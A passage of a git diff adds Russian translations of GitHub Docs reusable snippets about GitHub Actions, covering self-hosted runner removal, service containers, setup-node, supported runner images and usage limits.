выполнять никаких заданий, пока вы не перезапустите его с помощью приложения `run`. diff --git a/translations/ru-RU/data/reusables/actions/self-hosted-runner-removing-a-runner-updated.md b/translations/ru-RU/data/reusables/actions/self-hosted-runner-removing-a-runner-updated.md new file mode 100644 index 000000000000..37195061e158 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/self-hosted-runner-removing-a-runner-updated.md @@ -0,0 +1,20 @@ +--- +ms.openlocfilehash: cf95e20b26e8fb29fbae23c0a5e9a913aa73c8b0 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145067935" +--- +1. Щелкните **Удалить**. +1. Вы увидите инструкции по удалению локального средства выполнения. Выполните одно из следующих действий, чтобы удалить средство выполнения в зависимости от того, есть ли к нему доступ: + + * **Если у вас есть доступ к компьютеру средства выполнения:** следуйте инструкциям на экране для операционной системы этого компьютера, чтобы выполнить команду удаления. Инструкции включают необходимый URL-адрес и автоматически создаваемый маркер с ограниченным временем действия. + + Команда удаления выполняет следующие задачи: + + * Удаляет средство выполнения из {% data variables.product.product_name %}. + * Удаляет все файлы конфигурации локального приложения средства выполнения на компьютере. + * Удаляет все настроенные службы, если они не выполняются в интерактивном режиме. + + * **Если у вас нет доступа к компьютеру:** щелкните **Принудительно удалить это средство выполнения**, чтобы заставить {% data variables.product.product_name %} удалить средство выполнения. diff --git a/translations/ru-RU/data/reusables/actions/self-hosted-runner-removing-a-runner.md b/translations/ru-RU/data/reusables/actions/self-hosted-runner-removing-a-runner.md new file mode 100644 index 000000000000..16192bbc8d45 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/self-hosted-runner-removing-a-runner.md @@ -0,0 +1,23 @@ +--- +ms.openlocfilehash: 0d73e17e61dc0848a42a18a7e1811b43e541b6a4 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147061301" +--- +1. В разделе "Средства выполнения" найдите нужное средство выполнения. Если ваше средство выполнения находится в группе, щелкните {% octicon "chevron-down" aria-label="The downwards chevron" %}, чтобы развернуть список. +1. Рядом со средством выполнения, которое вы хотите удалить, щелкните {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, а затем **Удалить**. + + ![Параметр удаления локального средства выполнения](/assets/images/help/settings/actions-runner-remove.png) +1. Вы увидите инструкции по удалению локального средства выполнения. Выполните одно из следующих действий, чтобы удалить средство выполнения в зависимости от того, есть ли к нему доступ: + + * **Если у вас есть доступ к компьютеру средства выполнения:** следуйте инструкциям на экране для операционной системы этого компьютера, чтобы выполнить команду удаления. Инструкции включают необходимый URL-адрес и автоматически создаваемый маркер с ограниченным временем действия. + + Команда удаления выполняет следующие задачи: + + * Удаляет средство выполнения из {% data variables.product.product_name %}. + * Удаляет все файлы конфигурации локального приложения средства выполнения на компьютере. + * Удаляет все настроенные службы, если они не выполняются в интерактивном режиме. + + * **Если у вас нет доступа к компьютеру:** щелкните **Принудительно удалить это средство выполнения**, чтобы {% data variables.product.product_name %} принудительно удалил средство выполнения. diff --git a/translations/ru-RU/data/reusables/actions/self-hosted-runner-reqs-docker.md b/translations/ru-RU/data/reusables/actions/self-hosted-runner-reqs-docker.md new file mode 100644 index 000000000000..27c3d0558584 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/self-hosted-runner-reqs-docker.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 36e1ac28bbdb5543858aef6be537de0e34f1d1f1 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145067927" +--- +В локальных средствах выполнения должна использоваться операционная система Linux и должен быть установлен Docker для выполнения действий с контейнерами Docker. Дополнительные сведения о требованиях для локальных средств выполнения см. в разделе [Сведения о локальных средствах выполнения](/actions/hosting-your-own-runners/about-self-hosted-runners#requirements-for-self-hosted-runner-machines). diff --git a/translations/ru-RU/data/reusables/actions/self-hosted-runner-reusing.md b/translations/ru-RU/data/reusables/actions/self-hosted-runner-reusing.md new file mode 100644 index 000000000000..45cdbc775875 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/self-hosted-runner-reusing.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: a92a36101675ea033048f97465a87571b23ee9ef +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145093086" +--- +Кроме того, если у вас нет доступа к репозиторию{% ifversion fpt %} или организации{% elsif ghes or ghec or ghae %}, отделу или организации{% endif %} на {% data variables.product.product_name %} для удаления средства выполнения, но вы хотите повторно использовать компьютер средства выполнения, вы можете удалить файл `.runner` из каталога приложения локального средства выполнения. Это позволяет зарегистрировать средство выполнения без повторного скачивания приложения локального средства выполнения. diff --git a/translations/ru-RU/data/reusables/actions/self-hosted-runner-security-admonition.md b/translations/ru-RU/data/reusables/actions/self-hosted-runner-security-admonition.md new file mode 100644 index 000000000000..09834ed687a4 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/self-hosted-runner-security-admonition.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: 8c2084dcfcee3042fd067f1e82138875724c59ac +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148110110" +--- +{% warning %} + +**Предупреждение.** {% data reusables.actions.self-hosted-runner-security %} + +Дополнительные сведения см. в статье "[Сведения о локально размещенных средствах выполнения](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)." + +{% endwarning %} diff --git a/translations/ru-RU/data/reusables/actions/self-hosted-runner-security.md b/translations/ru-RU/data/reusables/actions/self-hosted-runner-security.md new file mode 100644 index 000000000000..ddaafcec7101 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/self-hosted-runner-security.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 518c31dffd71180ff4733f98ba7df3d5fe6028d9 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148110107" +--- +С частными репозиториями рекомендуется использовать только локальные средства выполнения. Это связано с тем, что создание запроса на вытягивание, который выполняет код в рабочем процессе, создает риск запуска опасного кода на компьютере локального средства выполнения из вилок вашего общедоступного репозитория. diff --git a/translations/ru-RU/data/reusables/actions/self-hosted-runners-prerequisites.md b/translations/ru-RU/data/reusables/actions/self-hosted-runners-prerequisites.md new file mode 100644 index 000000000000..7ba1fc80a408 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/self-hosted-runners-prerequisites.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: 902c07f73a0d523e80d620ad6eef94e25f678add +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145093085" +--- +{%- ifversion ghes %} +- {% data variables.product.prodname_actions %} необходимо включить для {% data variables.product.product_name %}. Администратор сайта может включить и настроить {% data variables.product.prodname_actions %} для вашего экземпляра. Дополнительные сведения см. в разделе [Начало работы с {% data variables.product.prodname_actions %} для {% data variables.product.prodname_ghe_server %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server). +{%- endif %} + +- У вас должен быть доступ к компьютеру, который будет использоваться в качестве локального средства выполнения в вашей среде. + +- {% data reusables.actions.self-hosted-runner-ports-protocols %} Дополнительные сведения см. в разделе [Сведения о локальных средствах выполнения](/actions/hosting-your-own-runners/about-self-hosted-runners#communication-between-self-hosted-runners-and-github-ae). diff --git a/translations/ru-RU/data/reusables/actions/self-hosted-runners-software.md b/translations/ru-RU/data/reusables/actions/self-hosted-runners-software.md new file mode 100644 index 000000000000..6ea713f4766d --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/self-hosted-runners-software.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 1ba787394ea2c0ce1fc568690a40be8df61d1aba +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145067919" +--- +В локальных средствах выполнения следует установить требуемое программное обеспечение. Дополнительные сведения о локальных средствах выполнения см. в разделе [Размещение собственных средств выполнения](/actions/hosting-your-own-runners). diff --git a/translations/ru-RU/data/reusables/actions/service-container-add-script.md b/translations/ru-RU/data/reusables/actions/service-container-add-script.md new file mode 100644 index 000000000000..2dfd1edc8e06 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/service-container-add-script.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 248cd2147dd19ac05f537608844f08dd713c5d7f +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145093082" +--- +Добавьте в репозиторий новый файл *client.js* с приведенным ниже кодом. diff --git a/translations/ru-RU/data/reusables/actions/service-container-host-runner.md b/translations/ru-RU/data/reusables/actions/service-container-host-runner.md new file mode 100644 index 000000000000..66a9abd9dffc --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/service-container-host-runner.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: abaac8f19c1b47bd789300cbcdd18b2b8fdc494c +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881911" +--- +В этом примере в качестве узла Docker используется средство выполнения, размещенное в `ubuntu-latest` {% data variables.product.prodname_dotcom %}. diff --git a/translations/ru-RU/data/reusables/actions/service-container-host.md b/translations/ru-RU/data/reusables/actions/service-container-host.md new file mode 100644 index 000000000000..5e57a27c2050 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/service-container-host.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 8bb7cb1b5b37189b8e939f748db566087ed331ba +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145093081" +--- +Этот рабочий процесс настраивает задание, которое выполняется в контейнере `node:10.18-jessie` и использует средство выполнения `ubuntu-latest`, размещенное в {% data variables.product.prodname_dotcom %}, качестве узла Docker для контейнера. Дополнительные сведения о контейнере `node:10.18-jessie` см. в статье об [образе узла](https://hub.docker.com/_/node) в Docker Hub. diff --git a/translations/ru-RU/data/reusables/actions/service-container-localhost.md b/translations/ru-RU/data/reusables/actions/service-container-localhost.md new file mode 100644 index 000000000000..132d9e3f6dbc --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/service-container-localhost.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 1068bcc8137eb795293b2a7ec9733a8f09ed0d7e +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145067894" +--- +Имя узла — `localhost` или `127.0.0.1`. diff --git a/translations/ru-RU/data/reusables/actions/service-container-prereqs.md b/translations/ru-RU/data/reusables/actions/service-container-prereqs.md new file mode 100644 index 000000000000..df0a0503d5ee --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/service-container-prereqs.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 7c4b3f26aaa76c2fed918454cffb4031074de89b +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145093078" +--- +Вы должны знать, как контейнеры служб работают с {% data variables.product.prodname_actions %}. Кроме того, вам должны быть известны сетевые различия между выполнением заданий непосредственно в средстве выполнения или в контейнере. Дополнительные сведения см. в статье "[Сведения о контейнерах служб](/actions/automating-your-workflow-with-github-actions/about-service-containers)". diff --git a/translations/ru-RU/data/reusables/actions/service-template-steps.md b/translations/ru-RU/data/reusables/actions/service-template-steps.md new file mode 100644 index 000000000000..e37ef4df6034 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/service-template-steps.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: e3fc5a45fbf8c6bd10e125e468d3110442fb5e28 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147883071" +--- +Рабочий процесс выполняет следующие действия: + +1. извлекает репозиторий в средстве выполнения; +1. устанавливает зависимости; +1. выполняет скрипт для создания клиента. diff --git a/translations/ru-RU/data/reusables/actions/settings-sidebar-actions-runner-groups-selection.md b/translations/ru-RU/data/reusables/actions/settings-sidebar-actions-runner-groups-selection.md new file mode 100644 index 000000000000..7c3da47f7609 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/settings-sidebar-actions-runner-groups-selection.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 94238ae249ed9ba04df07d55f318fd76d06deb34 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145093077" +--- +1. В списке групп щелкните группу средств выполнения, которую требуется настроить. diff --git a/translations/ru-RU/data/reusables/actions/settings-sidebar-actions-runner-selection.md b/translations/ru-RU/data/reusables/actions/settings-sidebar-actions-runner-selection.md new file mode 100644 index 000000000000..35fc681e2f2d --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/settings-sidebar-actions-runner-selection.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 509eefb089f08bf6441d04b63e0d497c86680bfd +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881270" +--- +1. В списке средств выполнения щелкните то, которое требуется настроить. diff --git a/translations/ru-RU/data/reusables/actions/settings-sidebar-actions-runners-updated.md b/translations/ru-RU/data/reusables/actions/settings-sidebar-actions-runners-updated.md new file mode 100644 index 000000000000..770a86c41377 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/settings-sidebar-actions-runners-updated.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: c8da68dd7dbed5d7f459a302ab25102968009d67 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145093074" +--- +1. На левой боковой панели в разделе "Действия" щелкните **Средства выполнения**. diff --git a/translations/ru-RU/data/reusables/actions/settings-ui/settings-actions-general.md b/translations/ru-RU/data/reusables/actions/settings-ui/settings-actions-general.md new file mode 100644 index 000000000000..85a4eb590c3f --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/settings-ui/settings-actions-general.md @@ -0,0 +1,2 @@ +{% comment %}This reusable is only to be used in other repo/org/enterprise setting reusables.{%- endcomment -%} +1. In the left sidebar, click {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}{% octicon "play" aria-label="The {% data variables.product.prodname_actions %} icon" %} **Actions**, then click **General**.{% else %}**Actions**.{% endif %} diff --git a/translations/ru-RU/data/reusables/actions/settings-ui/settings-actions-pages-custom-workflow.md b/translations/ru-RU/data/reusables/actions/settings-ui/settings-actions-pages-custom-workflow.md new file mode 100644 index 000000000000..c0e429db95ce --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/settings-ui/settings-actions-pages-custom-workflow.md @@ -0,0 +1 @@ +{% ifversion ghes > 3.6 %}To use {% data variables.product.prodname_actions %} as a publishing source for {% data variables.product.prodname_pages %}, a site administrator must enable {% data variables.product.prodname_actions %} for {% data variables.location.product_location %}. For more information, see "[Enabling {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/enabling-github-actions-for-github-enterprise-server)."{% endif %} \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/actions/settings-ui/settings-actions-runner-groups.md b/translations/ru-RU/data/reusables/actions/settings-ui/settings-actions-runner-groups.md new file mode 100644 index 000000000000..106c0b3176c7 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/settings-ui/settings-actions-runner-groups.md @@ -0,0 +1,5 @@ +{% comment %}This reusable is only to be used in other repo/org/enterprise setting reusables.{%- endcomment -%} +1. In the left sidebar, click {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}{% octicon "play" aria-label="The {% data variables.product.prodname_actions %} icon" %} **Actions**, then click **Runner groups**.{% else %}**Actions**.{% ifversion ghes > 3.3 or ghae > 3.3 %} +1. In the left sidebar, under "Actions", click **Runner groups**. +{%- elsif ghes or ghae %} +1. In the left sidebar, under "Actions", click **Runners**.{% endif %}{% endif %} diff --git a/translations/ru-RU/data/reusables/actions/settings-ui/settings-actions-runners.md b/translations/ru-RU/data/reusables/actions/settings-ui/settings-actions-runners.md new file mode 100644 index 000000000000..e3cf5ed3cfa6 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/settings-ui/settings-actions-runners.md @@ -0,0 +1,3 @@ +{% comment %}This reusable is only to be used in other repo/org/enterprise setting reusables.{%- endcomment -%} +1. In the left sidebar, click {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}{% octicon "play" aria-label="The {% data variables.product.prodname_actions %} icon" %} **Actions**, then click **Runners**.{% else %}**Actions**.{% ifversion ghes or ghae %} +1. In the left sidebar, under "Actions", click **Runners**.{% endif %}{% endif %} diff --git a/translations/ru-RU/data/reusables/actions/setup-node-intro.md b/translations/ru-RU/data/reusables/actions/setup-node-intro.md new file mode 100644 index 000000000000..a2a45461bdf7 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/setup-node-intro.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 1bce1a0949397ba1c6c853fa0cb2c5c0c36fa90e +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145114091" +--- +Действие `setup-node` можно использовать для создания локального *NPMRC*-файла в средстве выполнения, который настраивает реестр и область по умолчанию. Действие `setup-node` также принимает в качестве входных данных маркер проверки подлинности, используемый для доступа к частным реестрам или публикации пакетов узлов. Дополнительные сведения см. на веб-сайте [`setup-node`](https://github.com/actions/setup-node/). diff --git a/translations/ru-RU/data/reusables/actions/setup-node-table-entry.md b/translations/ru-RU/data/reusables/actions/setup-node-table-entry.md new file mode 100644 index 000000000000..d33a1cbdb27f --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/setup-node-table-entry.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 96349755c9a251f9509480f0355a91797f35855c +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878907" +--- +| Установка `node` в средстве выполнения: | [`actions/setup-node`](https://github.com/actions/setup-node) | diff --git a/translations/ru-RU/data/reusables/actions/sidebar-environment.md b/translations/ru-RU/data/reusables/actions/sidebar-environment.md new file mode 100644 index 000000000000..727a1ba6fb38 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/sidebar-environment.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 62088de875cc45d07fced7c605f83db1df5fd79a +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145067862" +--- +1. На левой боковой панели щелкните **Среды**. diff --git a/translations/ru-RU/data/reusables/actions/sidebar-secret.md b/translations/ru-RU/data/reusables/actions/sidebar-secret.md new file mode 100644 index 000000000000..91d60259f55b --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/sidebar-secret.md @@ -0,0 +1,5 @@ +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 -%} +1. In the "Security" section of the sidebar, select **{% octicon "key-asterisk" aria-label="The key-asterisk icon" %} Secrets**, then click **Actions**. +{%- else %} +1. In the left sidebar, click **Secrets**. +{%- endif %} diff --git a/translations/ru-RU/data/reusables/actions/starter-workflow-categories.md b/translations/ru-RU/data/reusables/actions/starter-workflow-categories.md new file mode 100644 index 000000000000..da780a84de73 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/starter-workflow-categories.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: c7982b868c7c59f026eb41f98118466f4f62b93d +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145067847" +--- +{% data variables.product.prodname_dotcom %} предоставляет готовые к использованию начальные рабочие процессы для следующих высокоуровневых категорий: +- **Непрерывное развертывание (CD)** . Дополнительные сведения см. в статье "[Сведения о непрерывном развертывании](/actions/deployment/about-deployments/about-continuous-deployment)". {% ifversion fpt or ghec %}- **Безопасность**. Дополнительные сведения см. в статье "[Настройка {% data variables.product.prodname_code_scanning %} с помощью начальных рабочих процессов](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-starter-workflows)".{% endif %} +- **Непрерывная интеграция (CI)** . Дополнительные сведения см. в статье "[Сведения о непрерывной интеграции](/actions/automating-builds-and-tests/about-continuous-integration)". +- **Автоматизация**. Начальные рабочие процессы автоматизации предлагают решения для автоматизации рабочих процессов, таких как рассмотрение запросов на вытягивание и применение метки на основе путей, измененных в запросе на вытягивание, или приветствия пользователей, которые впервые участвуют в разработке материалов для репозитория. diff --git a/translations/ru-RU/data/reusables/actions/supported-github-runners.md b/translations/ru-RU/data/reusables/actions/supported-github-runners.md new file mode 100644 index 000000000000..101dbed6111e --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/supported-github-runners.md @@ -0,0 +1,111 @@ +--- +ms.openlocfilehash: c30f6000486156f1995f0f05ff27fc173b893de5 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147529275" +--- + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Образ средства выполнения тестовМетка рабочего процесса YAMLПримечания
+Windows Server 2022 + +windows-latest или windows-2022 + +В настоящее время метка windows-latest использует образ средства выполнения Windows Server 2022. +
+Windows Server 2019 + +windows-2019 + +
+Ubuntu 22.04 + +ubuntu-22.04 + +
+Ubuntu 20.04 + +ubuntu-latest или ubuntu-20.04 +
+Ubuntu 18.04 [не рекомендуется] + +ubuntu-18.04 + +Миграция на ubuntu-20.04 или ubuntu-22.04. Дополнительные сведения см. в этой записи блога GitHub. +
+macOS Monterey 12 + +macos-12 +
+macOS Big Sur 11 + +macos-latest или macos-11 + +В настоящее время метка macos-latest использует образ средства выполнения macOS 11. +
+macOS Catalina 10.15 [нерекомендуемая] + +macos-10.15 + +Миграция на macOS-11 или macOS-12. Дополнительные сведения см. в этой записи блога GitHub. +
+ +{% note %} + +**Примечание.** Образы средства выполнения тестов `-latest` — это последние стабильные образы, предоставляемые {% data variables.product.prodname_dotcom %}, и они могут не быть самой последней версией операционной системы, доступной от производителя операционной системы. + +{% endnote %} + +{% warning %} + +Примечание. Бета-версии и нерекомендуемые образы предоставляются на условиях "как есть", "со всеми неисправностями" и "при наличии". На них не распространяются соглашение об уровня обслуживания и гарантия. Для образов бета-версий может не оказываться поддержка. + +{% endwarning %} diff --git a/translations/ru-RU/data/reusables/actions/upgrade-runners-before-upgrade-ghes.md b/translations/ru-RU/data/reusables/actions/upgrade-runners-before-upgrade-ghes.md new file mode 100644 index 000000000000..1290be8b1c6b --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/upgrade-runners-before-upgrade-ghes.md @@ -0,0 +1 @@ +If you use ephemeral runners and have disabled automatic updates, before you upgrade {% data variables.location.product_location %}, you should first upgrade your self-hosted runners to the version of the runner application that your upgraded instance will run. Upgrading {% data variables.location.product_location %} before you upgrade ephemeral runners may result in your runners going offline. For more information, see "[Upgrading {% data variables.product.product_name %}](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server)." diff --git a/translations/ru-RU/data/reusables/actions/usage-api-requests.md b/translations/ru-RU/data/reusables/actions/usage-api-requests.md new file mode 100644 index 000000000000..2f90029e6be0 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/usage-api-requests.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: d2012308af9ed99ce7273d6dfc2dc1ab0da83927 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148110103" +--- +- **Запросы API** . Вы можете выполнить до 1000 запросов к API GitHub в час для всех действий в репозитории. При превышении запросов дополнительные вызовы API завершатся сбоем, что может привести к сбою заданий. diff --git a/translations/ru-RU/data/reusables/actions/usage-matrix-limits.md b/translations/ru-RU/data/reusables/actions/usage-matrix-limits.md new file mode 100644 index 000000000000..d48b30722347 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/usage-matrix-limits.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: ffc69c26bca57e71588d8d28a6c8d0e1e369a98d +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145067838" +--- +Матрица заданий может создавать не более 256 заданий для каждого выполнения рабочего процесса. Это ограничение применяется как к размещенным в {% data variables.product.product_name %}, так и к локальным средствам выполнения. diff --git a/translations/ru-RU/data/reusables/actions/usage-workflow-queue-limits.md b/translations/ru-RU/data/reusables/actions/usage-workflow-queue-limits.md new file mode 100644 index 000000000000..b1a37163fe6a --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/usage-workflow-queue-limits.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: a43950d6ed47c98a15deb56109de62449234616b +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147883095" +--- +- **Очередь выполнения рабочего процесса**: для каждого репозитория помещать в очередь с 10-секундным интервалом можно не более 500 выполнений рабочих процессов. Если выполнение рабочего процесса достигает этого предела, оно прекращается и завершается сбоем. diff --git a/translations/ru-RU/data/reusables/actions/usage-workflow-run-time.md b/translations/ru-RU/data/reusables/actions/usage-workflow-run-time.md new file mode 100644 index 000000000000..0b3848e794ed --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/usage-workflow-run-time.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: f5e316cb575c37c9ca48f6cb5df54c012ee14213 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148110102" +--- +- **Время выполнения рабочего процесса** — каждое выполнение рабочего процесса ограничено 35 днями. По достижении этого предела выполнение рабочего процесса будет отменено. Этот период включает длительность выполнения и время, затраченное на ожидание и утверждение. diff --git a/translations/ru-RU/data/reusables/actions/use-request-body-api.md b/translations/ru-RU/data/reusables/actions/use-request-body-api.md new file mode 100644 index 000000000000..7835ebbd9242 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/use-request-body-api.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 4e9d3f1a03f14b64174f894838c769aac7c4f890 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148107664" +--- +Чтобы применить эту конфигурацию, отправьте запрос в конечную точку API и включите необходимую конфигурацию в текст запроса. Для организаций см. раздел "[Настройка шаблона настройки для утверждения субъекта OIDC для организации](/rest/actions/oidc#set-the-customization-template-for-an-oidc-subject-claim-for-an-organization) и репозиториев см. в разделе "[Настройка шаблона настройки для утверждения субъекта OIDC для репозитория](/rest/actions/oidc#set-the-customization-template-for-an-oidc-subject-claim-for-a-repository)". diff --git a/translations/ru-RU/data/reusables/actions/using-context-or-environment-variables.md b/translations/ru-RU/data/reusables/actions/using-context-or-environment-variables.md new file mode 100644 index 000000000000..ce682598afb0 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/using-context-or-environment-variables.md @@ -0,0 +1,29 @@ +--- +ms.openlocfilehash: c8e09d66bc8f0f35ca319e3650c6913174e59067 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145067823" +--- +{% data 